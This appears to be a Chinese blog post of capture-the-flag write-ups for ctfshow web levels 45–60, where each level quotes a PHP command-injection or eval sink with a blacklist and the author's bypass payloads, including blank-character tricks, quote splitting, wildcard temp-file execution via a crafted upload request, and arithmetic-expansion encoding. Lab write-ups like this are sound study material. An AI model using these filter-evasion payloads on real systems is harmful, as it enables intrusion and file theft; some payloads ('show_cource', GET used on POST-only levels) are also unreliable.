ctfshow-web命令执行(web45-60)(Completed)

web45 &&等于; tab等于space

题目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

观察代码,多过滤了分号与空格,考虑用&&代替分号(&&代表执行两个命令,让后面的命令进入黑洞),用tab制表符代替空格


payload解法1->url/?c=tac%09fla?.php%26%26ls解法2->url/?c=echo$IFStac$IFS*%0A $IFS代表shell里面的空格
解法3->url/?c=tac%09fla?.php%0a


web46 过滤数字*$

题目描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

分析源代码,多过滤了* $ 数字,因此上题的payload均可用


payload

解法1->url/?c=tac%09fla?.php%26%26ls解法2->url/?c=echo$IFStac$IFS*%0A
解法3->url/?c=tac%09fla?.php%0a


web47 <等于空格 ||解决黑洞

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

多过滤了一些字符,没有丝毫影响


payload

解法一二三上同
解法四->nl<fla''g.php|| nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞


web48 没什么软用

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

多过滤了字符,但丝毫不影响


payload

上同


web49 仍然没什么软用

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目分析

过滤了百分号,然而之前的payload中的%在url编码时会被干掉,所以没有任何影响~


payload

上同


web50 过滤了%09%26

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

根据源代码过滤了制表符,那就用<代替空格

但尝试了payload(url/?c=tac<fl?g.php%0a)发现不行,换掉?就可以了,暂时不知道是什么原因


payload

url/?c=tac<fl''ag.php%0a

web51 过滤了tac

题目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

根据源代码,多过滤了tac,就只有使用nl大法啦


payload

url/?c=nl<fla''g.php%0a

web52 过滤了>和<

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

根据源代码,过滤了<和>,那就用$IFS表示空格


payload

url/?c=nl$IFS/fla''g%0a

web53 添加了回显

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

根据源代码,多过滤了wget,并添加了回显,但对payload没有影响


payload

url/?c=nl${IFS}fla?.php

web54 丧心病狂不让用''绕过

题目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

根据源代码,将使用''的行为剔除了,因此只能另辟蹊径,可以考虑使用cp命令,但尝试过后发现无响应,而使用mv可以实现,查询后猜测应该是用户权限不够


payload

url/?c=mv${IFS}fla?.php${IFS}abc.txt
url/abc.txt

web55 过滤了所有字母

题目描述

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

web55题解

无字母数字webshell提高篇

从师傅们的文章中可以知道构造 ?c=.+/???/????????[@-[] 可以运行刚刚上传的文件中的命令


payload

POC构造模板:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

打开html页面上传任意文件,修改包里内容,修改后:

POST /?c=.%20/???/????????[@-[]  HTTP/1.1

Host: 25e9249e-1055-47f7-b66c-9823981070ad.challenge.ctf.show

Content-Length: 319

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: null

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMBaQ4lf7ZwU6ckXf

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

------WebKitFormBoundaryMBaQ4lf7ZwU6ckXf

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: application/octet-stream

#!/bin/sh

cat flag.php

------WebKitFormBoundaryMBaQ4lf7ZwU6ckXf

Content-Disposition: form-data; name="submit"

提交

------WebKitFormBoundaryMBaQ4lf7ZwU6ckXf--

返回flag


web56 过滤了所有字母2

题目描述

 <?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

题目分析

与上题一致,注意多试几次(因为上传的时候文件名不一定是大写的)(通配符匹配的是大写的临时文件存储的地方)


payload

上同

web57 $(())

题目描述

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

题目分析

提示访问36.php,前一个方法还可以使用,但这次用另一个方法,根据源代码知道只需让c为36即可获得flag(会自动拼接)

已知

┌──(amateur㉿kali)-[~]
└─$ echo $((~$(()))) 
-1                                                   
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))))))            
1                                                     
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))))))
2

由此可知,访问36.php只需要将里面的元素复制到36个,编写python脚本生成,上传得到flag


python脚本:

s1 = "$((~$(("
s2 = ""
lils2 = "$((~$(())))"
s3 = "))))"

for i in range(37):
    s2 += lils2

print(s1+s2+s3)

输出:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

验证:

┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
36

payload:

url/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58 无回显

题目描述

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

题目分析

回显的代码未告诉禁用了哪些东西,只能一个一个尝试


payload

解法一:url/?c=file_get_contents('flag.php');
解法二:url/?c=show_cource('flag.php');

web59 无回显2

题目描述

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

题目分析

尝试后发现禁用了showsource()的方式,但未禁用file_get_contents()


payload

url/?c=file_get_contents('flag.php');

web60 无回显3

题目描述

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

题目分析

禁用了file_get_contents(),但没禁用show_source()


payload

url/?c=show_cource('flag.php');

posted @ 2021-11-23 10:23  3plusa  阅读(126)  评论(0编辑  收藏  举报